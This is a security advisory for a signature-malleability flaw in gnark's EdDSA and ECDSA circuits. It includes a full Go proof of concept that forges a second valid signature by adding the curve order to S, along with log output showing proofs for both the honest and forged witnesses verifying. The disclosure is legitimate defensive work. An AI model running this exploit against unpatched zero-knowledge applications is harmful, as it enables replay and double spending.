CVE-2025-57801 — Vulnerability in github.com/consensys/gnark — CVE...

In version before, `sig.s` used without asserting `0 ≤ S < order` in `Verify function` in [eddsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/eddsa/eddsa.go) and [ecdsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/ecdsa/ecdsa.go), which will lead to *signature malleability* vulnerability. ### Impact Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from `(R, S)`, this enables signature malleability and may lead to double spending. ### Exploitation ```go package main import ( "crypto/rand" "fmt" "math/big" "github.com/consensys/gnark-crypto/ecc" mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc" eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa" "github.com/consensys/gnark/backend/groth16" "github.com/consensys/gnark/frontend" "github.com/consensys/gnark/frontend/cs/r1cs" "github.com/consensys/gnark/std/algebra/native/twistededwards" stdMimc "github.com/consensys/gnark/std/hash/mimc" stdEddsa "github.com/consensys/gnark/std/signature/eddsa" te "github.com/consensys/gnark-crypto/ecc/twistededwards" ) // Circuit type eddsaCircuit struct { Msg frontend.Variable `gnark:",public"` Pk stdEddsa.PublicKey `gnark:",public"` Sig stdEddsa.Signature } func (c *eddsaCircuit) Define(api frontend.API) error { curve, _ := twistededwards.NewEdCurve(api, te.BN254) hasher, _ := stdMimc.NewMiMC(api) stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher) return nil } func groupOrder() *big.Int { // BN254 scalar field order (r) const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617" n, _ := new(big.Int).SetString(rStr, 10) return n } // Forge signature: S → S + order func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature { order := groupOrder() var forged eddsaCrypto.Signature forged.R = sig.R s := new(big.Int).SetBytes(sig.S[:]) s.Add(s, order) buf := make([]byte, 32) copy(buf[32-len(s.Bytes()):], s.Bytes()) copy(forged.S[:], buf) return forged } func main() { // Generate key pair priv, _ := eddsaCrypto.GenerateKey(rand.Reader) pub := priv.PublicKey msg := []byte("multi-witness") // Create honest signature h := mimcHash.NewMiMC() h.Write(msg) rawSig, _ := priv.Sign(msg, h) var honest eddsaCrypto.Signature honest.SetBytes(rawSig) forged := forge(honest) // S + order // Setup: Compile circuit and do trusted setup circuit := &eddsaCircuit{} ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit) if err != nil { fmt.Printf("Circuit compilation failed: %v\n", err) return } pk, vk, err := groth16.Setup(ccs) if err != nil { fmt.Printf("Trusted setup failed: %v\n", err) return } // Public inputs (same for both witnesses) var public eddsaCircuit public.Msg = new(big.Int).SetBytes(msg) public.Pk.Assign(te.BN254, pub.Bytes()) // witness 1: honest signature w1 := public w1.Sig.Assign(te.BN254, honest.Bytes()) witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField()) if err != nil { fmt.Printf("Failed to create witness1: %v\n", err) return } proof1, err := groth16.Prove(ccs, pk, witness1) if err != nil { fmt.Println("Witness 1 (honest): Prover failed!") } else { publicWitness1, err := witness1.Public() if err != nil { fmt.Println("Witness 1 (honest): Prover failed!") } else { err = groth16.Verify(proof1, vk, publicWitness1) if err != nil { fmt.Println("Witness 1 (honest): Prover failed!") } else { fmt.Println("Witness 1 (honest): Prover succeeded!") } } } // witness 2: forged signature w2 := public w2.Sig.Assign(te.BN254, forged.Bytes()) fmt.Println(honest.R.Equal(&forged.R)) fmt.Println(honest.S != forged.S) witness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField()) if err != nil { fmt.Printf("Failed to create witness2: %v\n", err) return } proof2, err := groth16.Prove(ccs, pk, witness2) if err != nil { fmt.Println("Witness 2 (forged): Prover failed!") } else { publicWitness2, err := witness2.Public() if err != nil { fmt.Println("Witness 2 (forged): Prover failed!") } else { err = groth16.Verify(proof2, vk, publicWitness2) if err != nil { fmt.Println("Witness 2 (forged): Prover failed!") } else { fmt.Println("Witness 2 (forged): Prover succeeded!") } } } } ``` ### Result ```bash go run multiple_witnesses.go 13:47:33 INF compiling circuit 13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3 13:47:33 INF building constraint builder nbConstraints=7003 13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334 13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208 13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583 Witness 1 (honest): Prover succeeded! true true 13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125 13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709 13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833 Witness 2 (forged): Prover succeeded! ``` ### Credits XlabAI Team of Tencent Xuanwu Lab Atuin Automated Vulnerability Discovery Engine SJTU Group of Software Security In Progress Prof. Yu Yu's Lab at SJTU ### Additional mitigation The initial patch added check for `s <= curve order`, omitting the case `s == curve order`. Even though the case is unlikely to be exploitable (requires finding a preimage for `H(R || A || M)`), then it is additionally fixed in https://github.com/Consensys/gnark/pull/1684 (commit https://github.com/Consensys/gnark/commit/69638c5f14b77ae0ebee23e1d8f64f3bb4e22fd5 on master). Thanks for additional reporting by https://github.com/kexinoh.